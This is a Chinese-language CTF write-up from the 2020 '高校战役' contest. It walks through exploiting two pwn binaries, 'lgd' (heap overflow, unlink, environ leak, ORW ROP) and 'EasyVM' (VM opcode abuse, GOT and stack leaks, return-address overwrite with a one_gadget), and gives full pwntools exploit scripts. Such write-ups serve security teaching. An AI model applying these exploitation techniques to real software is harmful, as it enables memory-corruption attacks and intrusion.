2020高校战役
lgd:
解法一:
先查看程序开的保护:
没开PIE保护。用IDA查看反编译代码:
刚开始看的时候确实被这代码量吓了一条,不过仔细看看会发现dword_60303C和dword_603010这两个变量的值是不变的,这样好多代码是不会执行的或执行后没有什么变化,那么分析就简单了。
malloc时大小我们能控制,如下:
在编辑函数中存在堆溢出:
利用思路:
- 先申请大小大于fastbin的chunk,free,在malloc,就可以泄漏libc基址(malloc是不会向其中写入数据,所以值不会变化)
- 利用unlink控制buf指针所在内存块实现任意地址读写
- libc中environ会存栈地址,可以里利用其泄漏栈地址
- orw
exp如下:
#-*-coding:utf-8-*- from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) p = process('./pwn') libc = ELF('libc.so.6') p.sendafter('name? ', 'A'*0x100) def Add(size, content): p.sendlineafter('>> ', '1') p.sendlineafter('______?\n', str(size)) p.sendlineafter('yes_or_no?\n', content) def Free(index): p.sendlineafter('>> ', '2') p.sendlineafter('index ?\n', str(index)) def Show(index): p.sendlineafter('>> ', '3') p.sendlineafter('index ?\n', str(index)) def Edit(index, content): p.sendlineafter('>> ', '4') p.sendlineafter('index ?\n', str(index)) p.sendafter('content ?\n', content) Add(16, 'A'*0x200) #chunk0 Add(0x90, 'A'*0x200) #chunk1 Add(0x80, 'A'*0x200) #chunk2 Add(16, 'A'*0x10) #chunk3 Free(1) payload = 'A'*0x20 Edit(0, payload) Show(0) p.recvuntil('A'*0x20) libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3c4b78 info("libc_base ==> " + hex(libc_base)) open_addr = libc_base + libc.symbols['open'] info("open_addr ==> " + hex(open_addr)) read_addr = libc_base + libc.symbols['read'] info("read_addr ==> " + hex(read_addr)) puts_addr = libc_base + libc.symbols['puts'] info("puts_addr ==> " + hex(puts_addr)) #修复chunk1 payload = '\x00'*0x18 + p64(0xa1) Edit(0, payload) #unlink Add(0x90, 'A'*0x200) #chunk1 payload = p64(0) + p64(0x91) + p64(0x6032e0+0x8-0x18) + p64(0x6032e0+0x8-0x10) + '\x00'*0x70 + p64(0x90) + p64(0x90) Edit(1, payload) Free(2) environ = libc_base + libc.symbols['environ'] info("environ ==> " + hex(environ)) payload = '\x00'*0x10 + p64(environ) Edit(1, payload) Show(0) stack_addr = u64(p.recv(6).ljust(8, '\x00')) - 0x220 info("stack_addr ==> " + hex(stack_addr)) payload = '/flag' + '\x00'*11 + p64(stack_addr) Edit(1, payload) pop_rsi_ret = libc_base + 0x202e8 pop_rdx_ret = libc_base + 0x1b92 pop_rdi_ret = 0x00000000004023b3 payload = p64(pop_rdi_ret) + p64(0x6032d0) + p64(pop_rsi_ret) + p64(0) + p64(open_addr) #open payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(0x6032c0) + p64(pop_rdx_ret) + p64(20) + p64(read_addr) #read payload += p64(pop_rdi_ret) + p64(0x6032c0) + p64(puts_addr) #puts Edit(0, payload) p.interactive()
解法二:
解法二核心思路仍然是orw,不同的是把栈迁移到堆上,利用思路:
- 控制free_hook并向其中写入setcontext+53的地址
- 提前在队中布好ROP链
- free chunk,利用__free_hook迁移栈
exp如下:
#-*-coding:utf-8-*- from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) p = process('./pwn') elf = ELF('pwn') libc = elf.libc p.sendafter('name? ', 'A'*0x100) def Add(size, content): p.sendlineafter('>> ', '1') p.sendlineafter('______?\n', str(size)) p.sendlineafter('yes_or_no?\n', content) def Free(index): p.sendlineafter('>> ', '2') p.sendlineafter('index ?\n', str(index)) def Show(index): p.sendlineafter('>> ', '3') p.sendlineafter('index ?\n', str(index)) def Edit(index, content): p.sendlineafter('>> ', '4') p.sendlineafter('index ?\n', str(index)) p.sendafter('content ?\n', content) Add(16, 'A'*0x200) #chunk0 Add(0x90, 'A'*0x200) #chunk1 Add(0x80, 'A'*0x200) #chunk2 Add(0x100, 'A'*0x200) #chunk3 Free(1) payload = 'A'*0x20 Edit(0, payload) Show(0) p.recvuntil('A'*0x20) libc_base = u64(p.recv(6).ljust(8, '\x00')) - 0x3c4b78 info("libc_base ==> " + hex(libc_base)) open_addr = libc_base + libc.symbols['open'] info("open_addr ==> " + hex(open_addr)) read_addr = libc_base + libc.symbols['read'] info("read_addr ==> " + hex(read_addr)) puts_addr = libc_base + libc.symbols['puts'] info("puts_addr ==> " + hex(puts_addr)) free_hook = libc_base + libc.symbols['__free_hook'] info("free_hook ==> " + hex(free_hook)) setcontext = libc_base + libc.symbols['setcontext'] info("setcontext ==> " + hex(setcontext)) #修复chunk1 payload = '\x00'*0x18 + p64(0xa1) Edit(0, payload) #unlink Add(0x90, 'A'*0x200) #chunk1 payload = p64(0) + p64(0x91) + p64(0x6032e0+0x8-0x18) + p64(0x6032e0+0x8-0x10) + '\x00'*0x70 + p64(0x90) + p64(0x90) Edit(1, payload) Free(2) payload = 'A'*0x10 Edit(1, payload) Show(1) p.recvuntil('A'*16) chunk_addr = u64(p.recvuntil('\n', drop = True).ljust(8, '\x00')) + 0x1c0 + 0x30 info("chunk_addr ==> " + hex(chunk_addr)) payload = '/flag' + '\x00'*11 + p64(free_hook) Edit(1, payload) payload = p64(setcontext+53) Edit(0, payload) pop_rsi_ret = libc_base + 0x202e8 pop_rdx_ret = libc_base + 0x1b92 pop_rdi_ret = 0x00000000004023b3 payload = '\x00'*0xa0 + p64(chunk_addr+0x10) + p64(pop_rdi_ret) payload += p64(0x6032d0) + p64(pop_rsi_ret) + p64(0) + p64(open_addr) #open payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(0x6032c0) + p64(pop_rdx_ret) + p64(20) + p64(read_addr) #read payload += p64(pop_rdi_ret) + p64(0x6032c0) + p64(puts_addr) #puts #gdb.attach(p, 'b * 0x401a97') Edit(3, payload) Free(3) p.interactive()
EasyVM:
先查看程序开的保护:
发现保护全开。用IDA查看反编译出来的伪代码:
这是在初始化模拟寄存器,v[1],v[2]……可以理解为模拟的寄存器
这是模拟的的指令,比如输入113就可以执行对应的指令。
仔细分析程序,发现这几个指令对我们是有用的:
题目有提供给我们一个有bug的选项
第一步:
此时可以控制dword_305c,那么先执行指令9,在指令指令17,就可打印出其中的地址,减去固定偏移就可以得到代码段基址
Bug() Process('\x09\x11\x99') Start() code_addr = int(p.recv(10), 16) - 0x6c0 info("code_addr ==> " + hex(code_addr))
第二步:
根据第一步拿到的代码段基址加上got表偏移就能拿到got表基址,先后执行指令113,118,83就可以泄漏其中的函数地址从而拿到libc基址
puts_got = elf.got['puts'] + code_addr payload = '\x71' + p32(puts_got) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00' payload += '\x71' + p32(puts_got+1) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00' payload += '\x71' + p32(puts_got+2) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00' payload += '\x71' + p32(puts_got+3) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00' payload += '\x99' Process(payload) Start() puts_addr = u32(p.recv(4)) info("puts_got ==> " + hex(puts_addr)) libc_base = puts_addr - libc.symbols['puts']
第三步:
这里我踩了很多坑,一一记录一下:
我最先的想法是输入指令113,118, 84向__free_hook中写入one_gadget,但是每一个都不满足one_gadget的执行条件
之后我又该为向__mallc_hook中写入realloc,在向__realloc_hook中写入one_gadget,结果还是不行
考虑到程序有puts,printf函数,我打算修改vtable表中其中一个值,结果发现其不可写,我又打算伪造整个vtable结果出错了,而且我调试的时候getchar函数无法读入数据,我也不知道为什么
最后我选择利用environ泄漏stack地址然后利用ROP,终于这一次成功了。
one_gadget = libc_base + 0x5fbc5 free_hook = libc_base + libc.symbols['__free_hook'] info("one_gadget ==> " + hex(one_gadget)) realloc_addr = libc_base + libc.symbols['__libc_realloc'] info("realloc_addr ==> " + hex(realloc_addr)) environ = libc_base + libc.symbols['environ'] info("environ ==> " + hex(environ)) #泄漏栈地址 payload = '\x71' + p32(environ) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00' payload += '\x71' + p32(environ+1) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00' payload += '\x71' + p32(environ+2) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00' payload += '\x71' + p32(environ+3) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00' payload += '\x99' Process(payload) Start() stack_addr = u32(p.recv(4)) - 0x100 info("stack_addr ==> " + hex(stack_addr)) #修改返回地址 payload = '\x71' + p32(stack_addr) + '\x76' + '\x00\x00\x00\x00' + '\x54\x00' payload += '\x71' + p32(stack_addr+1) + '\x76' + '\x00\x00\x00\x00' + '\x54\x00' payload += '\x71' + p32(stack_addr+2) + '\x76' + '\x00\x00\x00\x00' + '\x54\x00' payload += '\x71' + p32(stack_addr+3) + '\x76' + '\x00\x00\x00\x00' + '\x54\x00' payload += '\x99' Process(payload) #gdb.attach(p) Start() p.send(p32(one_gadget)[0]) #sleep(1) p.send(p32(one_gadget)[1]) #sleep(1) p.send(p32(one_gadget)[2]) #sleep(1) p.send(p32(one_gadget)[3])
最终的exp如下:
#-*-coding:utf-8 -*- from pwn import * context(os = 'linux', arch = 'i386', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) p = process('./EasyVM') elf = ELF('EasyVM') libc = elf.libc def Process(content): p.sendlineafter('>>> \n', '1') p.send(content) def Start(): p.sendlineafter('>>> \n', '2') def Recyle(): p.sendlineafter('>>> \n', '3') def Bug(): p.sendlineafter('>>> \n', '4') Bug() Process('\x09\x11\x99') Start() code_addr = int(p.recv(10), 16) - 0x6c0 info("code_addr ==> " + hex(code_addr)) puts_got = elf.got['puts'] + code_addr payload = '\x71' + p32(puts_got) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00' payload += '\x71' + p32(puts_got+1) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00' payload += '\x71' + p32(puts_got+2) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00' payload += '\x71' + p32(puts_got+3) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00' payload += '\x99' Process(payload) Start() puts_addr = u32(p.recv(4)) info("puts_got ==> " + hex(puts_addr)) libc_base = puts_addr - libc.symbols['puts'] one_gadget = libc_base + 0x5fbc5 free_hook = libc_base + libc.symbols['__free_hook'] info("one_gadget ==> " + hex(one_gadget)) realloc_addr = libc_base + libc.symbols['__libc_realloc'] info("realloc_addr ==> " + hex(realloc_addr)) environ = libc_base + libc.symbols['environ'] info("environ ==> " + hex(environ)) #泄漏栈地址 payload = '\x71' + p32(environ) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00' payload += '\x71' + p32(environ+1) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00' payload += '\x71' + p32(environ+2) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00' payload += '\x71' + p32(environ+3) + '\x76' + '\x00\x00\x00\x00' + '\x53\x00' payload += '\x99' Process(payload) Start() stack_addr = u32(p.recv(4)) - 0x100 info("stack_addr ==> " + hex(stack_addr)) #修改返回地址 payload = '\x71' + p32(stack_addr) + '\x76' + '\x00\x00\x00\x00' + '\x54\x00' payload += '\x71' + p32(stack_addr+1) + '\x76' + '\x00\x00\x00\x00' + '\x54\x00' payload += '\x71' + p32(stack_addr+2) + '\x76' + '\x00\x00\x00\x00' + '\x54\x00' payload += '\x71' + p32(stack_addr+3) + '\x76' + '\x00\x00\x00\x00' + '\x54\x00' payload += '\x99' Process(payload) #gdb.attach(p) Start() p.send(p32(one_gadget)[0]) #sleep(1) p.send(p32(one_gadget)[1]) #sleep(1) p.send(p32(one_gadget)[2]) #sleep(1) p.send(p32(one_gadget)[3]) #Recyle() p.interactive()